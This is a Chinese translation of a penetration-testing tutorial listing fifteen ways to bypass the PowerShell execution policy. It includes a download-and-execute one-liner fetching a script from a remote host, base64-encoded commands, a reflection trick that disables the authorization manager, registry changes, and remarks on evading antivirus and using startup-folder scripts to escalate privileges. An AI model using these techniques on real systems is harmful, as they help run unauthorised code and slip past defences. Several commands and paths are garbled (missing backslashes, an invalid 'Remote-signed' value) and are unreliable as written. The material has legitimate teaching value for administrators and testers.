繞過PowerShell 執行策略的15種方法

在Windows上,PowerShell的默認配置是不允許執行腳本文件的。這對於一些滲透測試人員,系統管理員,程序員等來說,是一個必須面對的障礙。本文中,我將提出15種不需要本地管理員許可權就繞過該執行保護策略的方法。我確定依然有許多甚至我不知道的方法沒有提到,但是我希望本文對那些需要的人來說是一個良好的開端。

什麼是PowerShell執行策略?

PowerShell執行策略是用來限制哪些類型的PowerShell腳本能在系統上直接運行。默認它的設置時Restricted,即任何腳本都不行。但是,我們需要明確該設置從來都沒打算設計成為一個安全控制策略,相反,它本來是為了防止系統管理員發生搬起石頭砸自己的腳的情況。這就是為什麼有許多圍繞它的選項。其中包括一些微軟自身提供的。若想了解更多PowerShell的執行策略設置和其他默認安全設置,我推薦你讀Carlos Perez的博客,它提供了一個比較全面的概述。

為什麼我想繞過執行策略?

為什麼PowerShell如此流行,我聽到過不少的答案,最常聽到就是它可以實現自動化,以下是一些管理員,滲透測試人員,黑客之所以喜歡它的一些原因:

  • 是Windows原生的
  • 可以調用Windows API
  • 不需要寫入磁碟就可以執行命令
  • 可以逃避Anti-Virus的檢測
  • 被大多數程序加入白名單中,標記為可信的
  • 有許多開源的滲透工具集

如何察看當前安全策略

在使用PowerShell的所有驚奇的特性前,攻擊者要做的第一件事就是繞過Restricted執行策略。可以通過命令Get-ExectionPolicy來獲得當前策略。如果你是第一次使用這個命令,則應該是設置為Restricted的,如下:

PS C:> Get-ExecutionPolicy

同樣可以將執行策略設置為不同的級別。如下查看支持的所有級別,若想了解更多關於」Set-ExecutionPolicy」的信息,查看 Set-ExecutionPolicy

PS C:> Get-ExecutionPolicy -List | Format-Table -AutoSize

實驗環境設置

我會使用如下一個腳本來作為例子,runme.ps1,該明白用來向控制台輸出一句話:

Write-Host "My voice is my passport, verify me."

當我在默認策略的主機上,嘗試執行該腳本時,會出現如下錯誤:

如果你的策略太open,你想使用更嚴格的方式來測試如下的方案,你需要切換到管理員身份,執行Set-ExecutionPolicy Restricted。OK,接下來是15種方式:

15 種繞過方式

1. 將你的腳本內容粘貼到一個互動式的PowerShell窗口中

如下,將你的腳本粘貼到console中。但是,你要記住,你的受限程度取決於你當前用戶的許可權。假如你有一個可以互動式的窗口,則這是最基本的一種方法,而且不需要做任何的配置改變和寫入到磁碟中。

2. Echo腳本內容,然後Pipe到PowerShell的標準輸入中

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

3. 從一個文件中讀取腳本,然後Pipe到PowerShell的標準輸入中

此方法有個缺點就是會寫入腳本到本地磁碟中,但是你可以從一個網路共享中讀取腳本,來避免寫內容到磁碟中。

PS C: emp> Get-Content .
unme.ps1 | powershell.exe -noprofile -

PS C: emp> Type .
unme.ps1 | powershell.exe -noprofile -

4. 從一個URL Download腳本內容,然後執行

PS C: emp> powershell -nop -c "iex(New-Object Net.WebClient).DownloadString(192.168.1.2/runme.ps1)"

5. 使用-command命令參數

此方法和直接粘貼腳本內容執行的方式很像,但是此方法不需要一個互動式的窗口。它適用於簡單腳本的執行,對於複雜腳本會發生解析錯誤。該方法同樣不會寫內容到磁碟中。

powershell -command "Write-Host My voice is my passport, verify me."

你可以將該命令寫到一個bat文件中,然後放到啟動目錄中,來幫助提權。

6. 使用-encodedCommand命令參數

該方法和上一個方法很相似,但是此方式腳本內容是Unicode/base64 encode的字元串。使用編碼的好處是可以讓你避免執行使用Command參數時產生一些糟糕的解析問題。以下的例子是摘自Posh-SecMod。該工具套件還包括一個小的壓縮方法來減少由於encode後字元串太長的情況。

$command = "Write-Host My voice is my passport, verify me." $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

7. 使用Invoke-Command 命令

該方法最cool點在於對抗那些PowerShell remoting開啟的Remote系統。

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

如下命令,可用來從一個遠程系統上抓取執行策略同時運用到本地計算機中.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. 使用 Invoke-Expression 命令

PS C: emp> Get-Content ./runme.ps1 | Invoke-ExpressionPS C: emp> gc .
unme.ps1 | iex(短命令格式)

9. 使用Bypass執行策略標誌

這個方法是微軟提供的用來繞過執行策略的一種方式。當指定該標誌後,即視為什麼都不做,什麼警告也不提示。

powershell -ExecutionPolicy bypass -File ./runme.ps1

10. 使用Unrestricted執行策略標誌

該標誌和bypass很像,但是當使用該標誌時,即意味著載入所有的配置文件和執行所有的腳本。如果你運行一個從網上下載的未簽名的腳本,會給出許可權提示。

powershell -ExecutionPolicy unrestricted -File ./runme.ps1

11. 使用Remote-Signed執行策略標誌

創建你的腳本,然後按指南簽名。最後運行:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. 通過換出認證管理器,禁用執行策略

非常有創造性的一個。如下函數可以在互動式窗口中使用,也可以在Command參數中指定。一旦該函數被執行,則會換出認證管理器,同時默認策略改為unrestricted。但是該方法只在一個會話範圍內有效。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ./runme.ps1

13. 設置執行策略為Process作用域

我們之前介紹中提到過,執行策略可以應用到過個級別。其中就包括你完全控制的process。使用該方法僅限於當前session中,執行策略會變為unrestricted。

Set-ExecutionPolicy Bypass -Scope Process

14. 通過命令設置執行策略為CurrentUser作用域

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

15. 通過註冊表設置執行策略為CurrentUser作用域

該方法和Process作用域方法很相似,但是通過修改註冊表Key可將設置持續應用到當前用戶的環境中。

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

總結

該主題的目的是為了讓執行策略不再成為程序員,管理員或滲透測試人員的一個障礙。微軟同樣也沒有打算將其設置為一個安全控制。這就是為什麼有如此多的方法來繞過它。微軟也提供了一些本地選項,安全社區中同樣有許多有意思的tricks。最後,祝在PowerShell冒險中好運,別忘了為你的Hack行為負責。

—————————— 本文章由看雪翻譯小組 ghostway 翻譯,來源Scott Sutherland@netspi——————————


推薦閱讀:

OS X 和 Windows 相比,好用和不好用的地方在哪?
Vmware虛擬機內存要怎麼分配?
Windows 系統下最好用的 Python 文本編輯器是哪一個?為什麼?
office上載中心有什麼用?可以卸載嗎?
聽說很多微軟員工自己不用 Windows,是真的嗎?

TAG:PowerShell | 滲透測試 | MicrosoftWindows |